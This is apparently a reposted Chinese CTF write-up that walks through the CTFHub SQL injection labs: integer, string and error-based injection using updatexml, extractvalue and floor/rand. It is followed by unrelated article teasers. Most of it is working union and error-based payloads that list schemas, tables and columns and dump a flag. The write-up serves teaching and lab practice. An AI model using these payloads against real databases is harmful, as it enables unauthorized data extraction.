CTFHub(web SQL注入)

CTFHub技能树 Web-SQL注入 详解_666c6167-CSDN博客

Ctfhub - web -- SQL注入_ctfhub sql注入-CSDN博客

整数型注入

方法一

根据提示输入1,

闭合方式就是 1 ,整数型

存在两列,这里已经给出了字段,不需要再order by了

爆出数据库名和版本。

-1 union select version(),database()

有information_schema,发现是高版本

查库名

-1 union select 1, group_concat(table_name) from information_schema.tables where table_schema='sqli'

查flag下的字段名

-1 union select 1, group_concat(column_name) from  information_schema.columns where table_schema='sqli' and table_name='flag'#

拿数据

-1 union select 1, group_concat(flag) from flag


方法二

ctfhub技能树web--sql注入_ctfhub技能树报错注入-CSDN博客

1.判断注入点

用1 and 1=1和1 and 1=2进行测试

SELECT * FROM uers WHERE id=1 and 1=1 LIMIT 1,0;

SELECT * FROM uers WHERE id=1 and 1=2 LIMIT 1,0;

页面回显不一样,则证明该注入点存在sql injection漏洞

2.判断列数

使用order by语句进行测试:1 order by 1、1 order by 2等,直到报错为止,报错的前一个数,为字段数。

判断列数的原因:
要使用联合查询注入获取数据库的敏感数据库,前提是两个结果集合的列数相同,所以要判断...?id=1这个语句在数据库中返回几列,也就是SELECT * FROM uers WHERE id=1 and 1=2 LIMIT 1,0这个语句的数据结果集有几列,然后才可以用union进行联合查询

SELECT * FROM uers WHERE id=1 order by 1 LIMIT 1,0;

SELECT * FROM uers WHERE id=1 order by 2 LIMIT 1,0;

以下为构造poc(轮子)过程
注意:要让union前一个语句不成立才能让union后的select语句的结果在前端显示出来

3.判断哪一列是报错点

(哪一列会在前端显示的数据)

输入1 and 1=2 union select 1,2 (或者-1 union select 1,2)

扩展:
(1)可以用以下数据库函数获取相应的信息
* user() 当前用户名
* database() 当前数据库明
* version() 当前版本
(2)可以用concat()或concat_ws()或group_concat()—[见数据库连接语句]----使得在sql注入时快速获得数据库的相关信息

4.从当前数据库(默认)获取当前数据库名、用户名等信息

数据库

1 and 1=2 union select 1,concat-ws('>',database(),version(),user())

5.从元数据库查出当前数据库的所有表名

1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

6.从元数据库查出当前数据库下的某个表下的所有列名

1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'

7.从当前数据库下的某个表中的查某一列的信息

1 and 1=1 union select 1,concat_ws('>',flag) from flag

字符型注入

CTFHub (web-SQL-字符型注入)_ctfhub字符型-CSDN博客


判断注入类型

根据提示,输入数字1

返回可以看到‘1’被双引号包围,这里可以借助注释符#或- -空格或/**/

使用#将后面的单引号注释掉

1'#

判断列数

1' order by 1 , 2 # 

1' order by 1 , 2 , 3 #

在第三列发现无法显示,说明只有两列

判断注入点

显示位,判断显示的信息是第几列的信息

-1' union select 1 , 2#

1为ID,2为Data,(Data也就是我们想要查询的数据)

查询数据库信息

1.查询用户

-1' union select 1 , user() #

2.查询数据库版本

-1' union select 1 , version() #

3.查询数据库名称

-1' union select 1 , database() #
  

爆库

查询所有数据库名称

1.使用limit一条一条查询数据库名称

第四条

-1' union select 1 , (select schema_name from information_schema.schemata limit 3,1) #

第五条

-1' union select 1 , (select schema_name from information_schema.schemata limit 4,1) #

查询第五条时发现已经没有数据,说明一共有四个数据库名

2.使用group_concat()一次性查询全部数据库名称

-1' union select 1,group_concat(schema_name) from information_schema.schemata #

爆表

查询数据库中的表名

1.用limit一条条爆出表名

-1' union select 1 , (select table_name from information_schema.tables where table_schema='sqli' limit 0,1) #

-1' union select 1 , (select table_name from information_schema.tables where table_schema='sqli' limit 1,1) #

-1' union select 1 , (select table_name from information_schema.tables where table_schema='sqli' limit 2,1) #

2.使用group_concat()一次性爆出所有表名

(1)

-1' union select table_schema, group_concat(table_name) from information_schema.tables where table_schema='sqli' #

(2)

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

爆字段名

查询指定数据库中指定表的字段名

1.用limit一列一列爆出字段名

(1)

-1' union select 1 , (select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1) #

(2)

-1' union select 1 , (select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 1,1) #

2.使用group_concat()一次性爆出所有字段名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'#

爆内容

查询指定数据库中指定表的字段名的内容

1.用limit一列一列爆出字段名中的内容

-1' union select 1,(select flag from flag) #

2.使用group_concat()一次性爆出所有字段名中的内容

-1' union select 1 , group_concat(flag) from flag #

报错注入

CTFHUB——SQL 报错注入三种方法全解_ctfhub报错注入-CSDN博客

CTFHUB-SQL注入-报错注入-CSDN博客

方法一

selcet

输入1

返回查询正确

输入1'

报错,进行报错输入

使用函数是updatemxl(1,2,3)

MySQL提供了一个 updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。,特殊符号我们选择 ~ 0x7e

查询库名

1 and updatexml(1,concat(0x7e,database()),3)

发现库名 sqli,对表名进行爆破

1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='sqli')),3)

爆破出表名,对字段进行爆破

1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='sqli'and table_name='flag')),3)

得到字段flag,进行查询

1 and updatexml(1,concat(0x7e,(select group_concat(flag)from sqli.flag)),3)

得到flag

方法二

利用extractvalue来xpath报错

1 and (select extractvalue(1, concat(0x7e, (select database()))))

1 and (select extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema= 'sqli'))))

1 and (select extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name= 'flag'))))

1 and (select extractvalue(1, concat(0x7e, (select flag from flag))))

得到后的flag缺少了一个“}”

补全后即可提交

方法三

利用floor来group by主键重复报错

1 union select count(*), concat((select database()), floor(rand(0)*2)) x from news group by x

1 union select count(*), concat((select table_name from information_schema.tables where table_schema='sqli' limit 1,1), floor(rand(0)*2)) x from news group by x

1 union select count(*), concat((select column_name from information_schema.columns where table_name='flag' limit 0,1), floor(rand(0)*2)) x from news group by x

1 union select count(*), concat((select flag from flag limit 0,1), floor(rand(0)*2)) x from news group by x

得到flag

得到后的flag缺少了一个“}”

补全后即可提交

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/284.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

yolov7模型输出层预测方法解读

本文从代码的角度分析模型训练阶段输出层的预测包括以下几个方面: 标注数据(下文统称targets)的正样本分配策略,代码实现位于find_3_positive。候选框的生成,会介绍输出层的预测值、GT、grid、 anchor之间的联系损失函…

算法练习第20天|回溯算法 77.组合问题 257. 二叉树的所有路径

1.什么是回溯算法? 回溯法也可以叫做回溯搜索法,它是一种搜索的方式。其本质是穷举,穷举所有可能,然后选出我们想要的答案。 2.为什么要有回溯算法? 那么既然回溯法并不高效为什么还要用它呢? 因为有的问题能暴力…

Hive进阶(2)----HDFS写入数据流程(赋图助君理解)

HDFS写入数据流程 一、写入流程 1、 Client向NameNode发起RPC请求,来确定请求文件block所在的位置; 2、 NameNode会视情况返回文件的部分或者全部block列表,对于每个block,NameNode都会返回含有该block副本的DataNode地址&…

Ubuntu22.04.4 - 网络配置 - 笔记

一、设置固定ip 1、cd /etc/netplan 查看文件夹下的配置文件 我这里叫 00-installer-config.yaml 2、sudo nano /etc/netplan/00-installer-config.yaml 完成配置后,按下Ctrl O保存更改,然后按下Ctrl X退出nano编辑器。 3、sudo netplan apply 4、ip …

前端开发攻略---合并表格单元格,表格内嵌套表格实现手风琴效果。

1、演示 2、思路 1、用传统的 <table></table> 表格标签来实现比较麻烦。因此通过模拟 表格标签 的写法用<div></div>来实现 2、表头和表格列数是相同的&#xff0c;因此可以确定代码结构 <div class"table"><div class"head…

PotPlayer 图像截取

PotPlayer 图像截取 1. PotPlayer2. PotPlayer 下载2.1. PotPlayer 240305 3. 图像截取References 1. PotPlayer http://www.potplayercn.com/ PotPlayer 是 KMPlayer 原作者姜勇囍进入新公司 Daum 之后推出的&#xff0c;继承了 KMPlayer 所有的优点&#xff0c;拥有异常强大…

Flask项目在Pycharm中设置局域网访问

打开PyCharm导入本应用。点击Run标签中的Edit Configurations 其中Target type选择Script path&#xff0c;Target填入本项目中app.py的路径&#xff0c;Additional optional填入--host0.0.0.0(不要有空格)。 再重新运行项目&#xff0c;会观察到除了原本的http://127.0.0.1:50…

【EI会议征稿通知】2024年图像处理、机器学习与模式识别国际学术会议(IPMLP 2024)

2024年图像处理、机器学习与模式识别国际学术会议&#xff08;IPMLP 2024) 2024 International Conference on Image Processing, Machine Learning and Pattern Recognition 重要信息 大会官网&#xff1a;www.ipmlp.net&#xff08;点击参会/投稿/了解会议详情&#xff09;…

【赛题】2024年“华中杯”数模竞赛赛题发布

2024年"华中杯"数学建模网络挑战赛——正式开赛&#xff01;&#xff01;&#xff01; 赛题已发布&#xff0c;后续无偿分享各题的解题思路、参考文献&#xff0c;帮助大家最快时间&#xff0c;选择最适合是自己的赛题。祝大家都能取得一个好成绩&#xff0c;加油&a…

uiautomation、pytest、schedule实现桌面程序自动化(初级)02

一&#xff1a;安装uiAutomation 前置条件:安装python、pycharm 命令行安装 Pip install uiautomation2.0.17 #指定版本 二&#xff1a;安装辅助工具&#xff1a;inspect.exe和、Accessibility Insights For Windows定位元素工具 辅助工具介绍 步骤中提到…

Hive进阶(4)----MapReduce的计算过程(赋图助君理解)

MapReduce的计算过程 MapReduce是一种编程模型和处理大规模数据集的方法。它通常用于分布式计算环境中&#xff0c;能够将数据处理任务分解成独立的部分&#xff0c;分配给多台计算机进行并行处理。这个模型由Google提出&#xff0c;并在开源领域中得到了广泛的应用和实现。Map…

无法连接到MongoDB Atlas 的Cloud Database

打开Mongodb网页: 选择允许任何地址连接 连接成功

Docker容器嵌入式开发:在Ubuntu上配置RStudio与R语言、可视化操作

目录 一、dirmngr工具二、R环境安装与配置三、验证是否安装成功四、安装Rstudio五、可视化操作参考 以上是在Ubuntu 18.04上安装最新版本的R语言环境的步骤摘要。首先&#xff0c;通过添加CRAN镜像源并安装GPG密钥来配置软件源。然后&#xff0c;更新软件包列表并通过apt安装R语…

SQL --索引

索引 INDEX 伪列 伪装起来的列&#xff0c;不容易被看见&#xff0c;要特意查询才能看见 ROWNUM&#xff1a; 是对查询结果自动生成的一组连续的自然数序号。 SELECT emp.*,ROWNUM FROM emp例题&#xff1a;查询emp表中&#xff0c;前三个员工 SELECT * FROM * from emp w…

【创建型模式】建造者模式

一、建造者模式概述 建造者模式定义&#xff1a;将一个复杂对象的构建与它的表示分离&#xff0c;使得同样的构建过程可以创建不同得表示。(对象创建型模式)。 建造者模式分析&#xff1a; 1.将客户端与包含多个部件得复杂对象得创建过程分离&#xff0c;客户端无需知道复杂对象…

【unity】【C#】游戏音乐播放和发布

今天我们来认识一下有关 unity 音乐的一些知识 我们先创建 AudioClips 文件夹&#xff0c;这个文件夹通常就是 unity 中存放音乐的文件夹&#xff0c;然后拖进音乐文件进去 这里为大家提供了两个音乐&#xff0c;有需要可以自取 百度网盘&#xff1a;https://pan.baidu.com/s…

RIP最短路实验(华为)

思科设备参考&#xff1a;RIP最短路实验&#xff08;思科&#xff09; 一&#xff0c;技术简介 RIP&#xff08;Routing Information Protocol&#xff0c;路由信息协议&#xff09;是一种基于距离矢量的内部网关协议&#xff0c;工作原理是每个路由器周期性地向邻居路由器发…

React Ant Design 简单实现如何选中图片

效果&#xff1a; 代码&#xff1a; 定义的初始值和方法 const [selected, setSelected] useState(0); // 表示当前选中的图片索引const handleClick (index) > {if (selected index) {setSelected(null); // 如果点击的是已选中的图片&#xff0c;则取消选中状态} else…

JVM虚拟机(十)Java内存泄漏的排查思路

目录 一、可能产生内存泄露的地方二、复现堆内存泄漏三、如何排查堆内存问题&#xff1f;3.1 获取对内存快照 dump3.2 使用 Visual VM 去分析 dump 文件3.3 定位内存溢出问题 一、可能产生内存泄露的地方 在进行排查 Java 的内存泄漏问题之前&#xff0c;首先我们要知道哪里可…

【任务调度】Apache DolphinScheduler快速入门

Apache DolphinScheduler基本概念 概念&#xff1a;分布式、去中心化、易扩展的可视化DAG工作流任务调度系统。 作用&#xff1a;解决数据处理流程中错综复杂的依赖关系&#xff0c;使调度系统在数据处理流程中开箱即用。Apache DolphinScheduler是一款开源的调度工具&#xff…